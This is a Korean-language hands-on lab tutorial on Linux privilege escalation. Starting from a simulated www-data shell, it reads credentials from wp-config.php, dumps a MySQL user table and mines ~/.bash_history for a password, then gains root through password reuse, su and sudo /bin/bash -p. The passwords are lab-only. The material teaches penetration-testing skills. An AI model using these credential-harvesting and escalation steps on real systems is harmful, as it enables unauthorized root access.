소개
이 랩에서는 Linux 시스템에서 민감한 설정 파일을 찾아 악용하여 root 권한으로 권한을 상승시키는 방법을 배우겠습니다. 목표는 웹 서비스 설정 파일과 사용자 관련 설정 파일에 대한 더 깊은 이해를 얻고, 이를 권한 상승에 활용하는 방법을 배우는 것입니다. 웹 취약점을 통해 www-data 사용자와 같은 낮은 권한의 셸을 이미 얻었다고 가정하고, root 권한으로 접근 권한을 높이는 기술을 탐구할 것입니다.
웹 서비스 설정 파일 조사
웹 서비스 설정 파일은 데이터베이스 자격 증명과 같은 민감한 정보를 포함할 수 있으며, 관리자가 비밀번호를 재사용하는 경우 권한 상승에 사용될 수 있습니다.
먼저, 터미널을 열고
/home/labex/project로 이동합니다.cd /home/labex/project랩 환경을 초기화하는 것으로 시작해 보겠습니다.
./env_setup_1.sh초기화 후, 우리는 웹 취약점을 통해 얻은 낮은 권한의 셸을 시뮬레이션하여
www-data사용자로 작동합니다.Linux 의 웹 서비스는 일반적으로
/var/www디렉토리에 저장됩니다. 다음 파일에 집중해야 합니다.database.phpuser.php*.configconfig.php
다음 명령을 사용하여 이러한 파일을 검색할 수 있습니다.
find /var/www -type f \( -iname "user.php" -o -iname "database.php" -o -iname "config.php" -o -iname "*.config" \) 2> /dev/null예상 출력:
/var/www/wordpress/wp-admin/includes/user.php /var/www/wordpress/wp-includes/user.php /var/www/wordpress/wp-content/plugins/akismet/views/config.php또한, 대상 시스템이 콘텐츠 관리 시스템 (CMS) 을 사용하는 경우, 해당 특정 CMS 에 대한 기본 데이터베이스 연결 파일 위치를 검색할 수 있습니다.
이 랩 환경에서 서버는 WordPress CMS 를 사용하고 있습니다. 검색을 통해 WordPress 데이터베이스 구성이
/var/www/wordpress/wp-config.php파일에 저장되어 있음을 알 수 있습니다.more /var/www/wordpress/wp-config.php이 파일에는 MySQL root 계정 자격 증명이 포함되어 있습니다.
/** MySQL database username */ define( 'DB_USER', 'root' ); /** MySQL database password */ define( 'DB_PASSWORD', 'cD8M2M8fMiDHu4m1' );관리자의 비밀번호 재사용 가능성을 고려하여, 이 비밀번호를 사용하여 시스템 root 사용자로 로그인해 볼 수 있습니다.
su -불행히도, 이 비밀번호는 root 사용자에게 작동하지 않습니다.
다음으로, MySQL 데이터베이스에 로그인하여 더 많은 정보를 검색할 수 있습니다.
mysql -u root -p -h 127.0.0.1wp-config.php파일에서 비밀번호를 입력합니다.cD8M2M8fMiDHu4m1MySQL 데이터베이스 내에서, 더 많은 정보를 수집하기 위해 다음 명령을 실행할 수 있습니다.
사용 가능한 데이터베이스를 확인합니다.
show databases;ROB데이터베이스를 선택합니다.use ROB;ROB데이터베이스의 테이블을 나열합니다.show tables;rob_user테이블을 선택합니다.select * from rob_user;데이터베이스에서 두 개의 자격 증명 세트를 더 얻습니다.
root:CMPc5MoAGf alice:psoj9apv4uMySQL 데이터베이스를 종료합니다.
exit비밀번호
CMPc5MoAGf를 사용하여 root 사용자로 로그인해 볼 수 있습니다.su -데이터베이스에서 얻은 비밀번호를 입력합니다.
CMPc5MoAGf이번에는 root 접근 권한을 성공적으로 얻었습니다!
성공적인 권한 상승을 증명하기 위해
/root디렉토리에proof.txt라는 파일을 생성합니다.echo "Success" > /root/proof.txt파일이 생성되었는지 확인합니다.
ls /root/proof.txt이 단계에서, 우리는 권한을 상승시키기 위해 웹 서비스 설정 파일에서 민감한 정보를 찾고 악용하는 방법을 배웠습니다. 핵심 아이디어는 서버에서 인증 자격 증명을 검색하고 권한 상승을 위해 잠재적인 비밀번호 재사용을 활용하는 것입니다.
사용자 관련 설정 파일 조사
이 단계에서는 민감한 정보를 포함할 수 있는 사용자 관련 설정 파일에 집중합니다.
이전 단계 후, 여전히 root 셸에 있을 수 있습니다. 이 단계에서는 다음 명령을 실행하여 labex 사용자로 다시 전환합니다.
su - labex
먼저,
/home/labex/project로 이동합니다.cd /home/labex/project랩 환경을 초기화하는 것으로 시작해 보겠습니다.
./env_setup_2.sh초기화 후, 우리는 이제
user001사용자로 작동합니다.조사해야 할 두 가지 주요 사용자 관련 설정 파일은 다음과 같습니다.
~/.bash_profile: 환경 변수 및 시작 프로그램을 구성하는 데 사용됩니다. 이 파일은 사용자가 로그인할 때 (login) 실행됩니다.~/.bash_history: 각 사용자 홈 디렉토리에 있는 파일로, 사용자의 셸 명령 기록을 기록하며, 일반적으로 마지막 1000 개의 명령을 저장합니다 (이 기능은 일부 Linux 배포판에서 비활성화될 수 있습니다).
~/.bash_profile파일을 확인하는 것으로 시작해 보겠습니다.cat ~/.bash_profile예상 출력:
cat: /home/user001/.bash_profile: No such file or directory이 경우,
user001사용자는~/.bash_profile파일을 사용하지 않는 것으로 보입니다.다음으로,
~/.bash_history파일을 확인해 보겠습니다.cat ~/.bash_history여기에서 기록된 명령을 찾을 수 있습니다.
... echo user001:09FMWNFS7n | chpasswd ...이 명령은
user001사용자의 비밀번호가09FMWNFS7n으로 변경되었음을 나타냅니다.이 비밀번호를 사용하여 권한을 상승시키려고 시도할 수 있습니다.
sudo whoami그리고
~/.bash_history파일에서 찾은 비밀번호를 입력합니다.09FMWNFS7n비밀번호가 작동하며,
sudo권한으로 명령을 실행할 수 있습니다.root 셸을 얻으려면 다음 명령을 사용할 수 있습니다.
sudo /bin/bash -p사용자의 명령 기록에서 정보를 악용하여 root 셸을 성공적으로 얻었습니다.
마지막으로, 랩을 완료하기 위해
/root디렉토리에success.txt라는 파일을 생성합니다.echo "Congratulations" | sudo tee /root/success.txt
요약
이 랩에서는 Linux 시스템에서 권한을 상승시키기 위해 웹 서비스 설정 파일 및 사용자 관련 설정 파일에서 민감한 정보를 찾고 악용하는 방법을 배웠습니다. 데이터베이스 연결 파일, 사용자 명령 기록 및 기타 설정 파일과 같이 인증 자격 증명을 포함할 수 있는 파일을 검색하는 기술을 탐구했습니다. 잠재적인 비밀번호 재사용을 활용하여 root 접근 권한을 얻을 수 있었습니다.
핵심적인 내용은 권한 상승으로 이어질 수 있으므로 시스템에 저장된 민감한 정보를 항상 주시해야 한다는 것입니다. 이 랩에서는 특정 유형의 파일에 초점을 맞췄지만, 권한 상승 목적으로 악용될 수 있는 모든 파일이나 정보를 지속적으로 검색하는 사고방식을 유지하는 것이 중요합니다.